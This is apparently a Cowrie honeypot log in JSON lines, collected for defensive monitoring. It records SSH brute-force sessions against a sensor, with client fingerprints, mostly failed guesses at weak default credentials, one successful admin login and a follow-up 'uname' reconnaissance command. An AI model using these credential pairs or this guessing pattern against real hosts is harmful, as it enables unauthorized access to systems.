{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:15.951496Z","src_ip":"141.11.88.14","session":"702a2f7e8481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"tmp1234","message":"login attempt [tmp/tmp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:17.061650Z","src_ip":"141.11.88.14","session":"702a2f7e8481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:18.252519Z","src_ip":"141.11.88.14","session":"702a2f7e8481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39524,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd131bb00af2","protocol":"ssh","message":"New connection: 141.11.88.14:39524 (10.17.0.5:22) [session: cd131bb00af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:24.331852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:24.501718Z","src_ip":"141.11.88.14","session":"cd131bb00af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:24.505226Z","src_ip":"141.11.88.14","session":"cd131bb00af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345678","message":"login attempt [ftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:25.818377Z","src_ip":"141.11.88.14","session":"cd131bb00af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:26.907017Z","src_ip":"141.11.88.14","session":"cd131bb00af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62190,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f050d6e15db","protocol":"ssh","message":"New connection: 141.11.88.14:62190 (10.17.0.5:22) [session: 1f050d6e15db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:33.046654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:33.237609Z","src_ip":"141.11.88.14","session":"1f050d6e15db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:33.241143Z","src_ip":"141.11.88.14","session":"1f050d6e15db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:34.417747Z","src_ip":"141.11.88.14","session":"1f050d6e15db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:35.504886Z","src_ip":"141.11.88.14","session":"1f050d6e15db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36288,"dst_ip":"10.17.0.5","dst_port":22,"session":"1176dd145b2a","protocol":"ssh","message":"New connection: 141.11.88.14:36288 (10.17.0.5:22) [session: 1176dd145b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:40.616740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:40.694060Z","src_ip":"141.11.88.14","session":"1176dd145b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:40.814037Z","src_ip":"141.11.88.14","session":"1176dd145b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharon","password":"sharon","message":"login attempt [sharon/sharon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:41.483003Z","src_ip":"141.11.88.14","session":"1176dd145b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50846,"dst_ip":"159.203.135.109","dst_port":23,"session":"52334afb69ea","protocol":"telnet","message":"New connection: 128.199.8.54:50846 (159.203.135.109:23) [session: 52334afb69ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:42.310277Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:42.589926Z","src_ip":"141.11.88.14","session":"1176dd145b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36344,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb6afbdcb7c","protocol":"ssh","message":"New connection: 141.11.88.14:36344 (10.17.0.5:22) [session: dcb6afbdcb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:47.136661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:47.251863Z","src_ip":"141.11.88.14","session":"dcb6afbdcb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:47.254788Z","src_ip":"141.11.88.14","session":"dcb6afbdcb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"ch4ng3m3","message":"login attempt [user1/ch4ng3m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:48.139088Z","src_ip":"141.11.88.14","session":"dcb6afbdcb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:49.266063Z","src_ip":"141.11.88.14","session":"dcb6afbdcb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44594,"dst_ip":"10.17.0.5","dst_port":22,"session":"692a3ada17d8","protocol":"ssh","message":"New connection: 141.11.88.14:44594 (10.17.0.5:22) [session: 692a3ada17d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:54.196818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:54.473678Z","src_ip":"141.11.88.14","session":"692a3ada17d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:54.477580Z","src_ip":"141.11.88.14","session":"692a3ada17d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:55.670072Z","src_ip":"141.11.88.14","session":"692a3ada17d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:56.833088Z","src_ip":"141.11.88.14","session":"692a3ada17d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":2244,"dst_ip":"10.17.0.5","dst_port":22,"session":"610ca0ddbc6f","protocol":"ssh","message":"New connection: 177.85.247.230:2244 (10.17.0.5:22) [session: 610ca0ddbc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:59.085480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:59.089694Z","src_ip":"177.85.247.230","session":"610ca0ddbc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:59.193363Z","src_ip":"177.85.247.230","session":"610ca0ddbc6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456","message":"login attempt [root/Ba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:59.641323Z","src_ip":"177.85.247.230","session":"610ca0ddbc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:00.747348Z","src_ip":"177.85.247.230","session":"610ca0ddbc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":23330,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e9891d2cfc8","protocol":"ssh","message":"New connection: 141.11.88.14:23330 (10.17.0.5:22) [session: 0e9891d2cfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:00.877096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:00.976636Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:00.980123Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:01.957950Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:02.276541Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:02.280327Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:02.366780Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:02.376469Z","src_ip":"141.11.88.14","session":"0e9891d2cfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":33886,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc4518349b3","protocol":"ssh","message":"New connection: 103.143.231.24:33886 (10.17.0.5:22) [session: 0bc4518349b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:06.918466Z"}
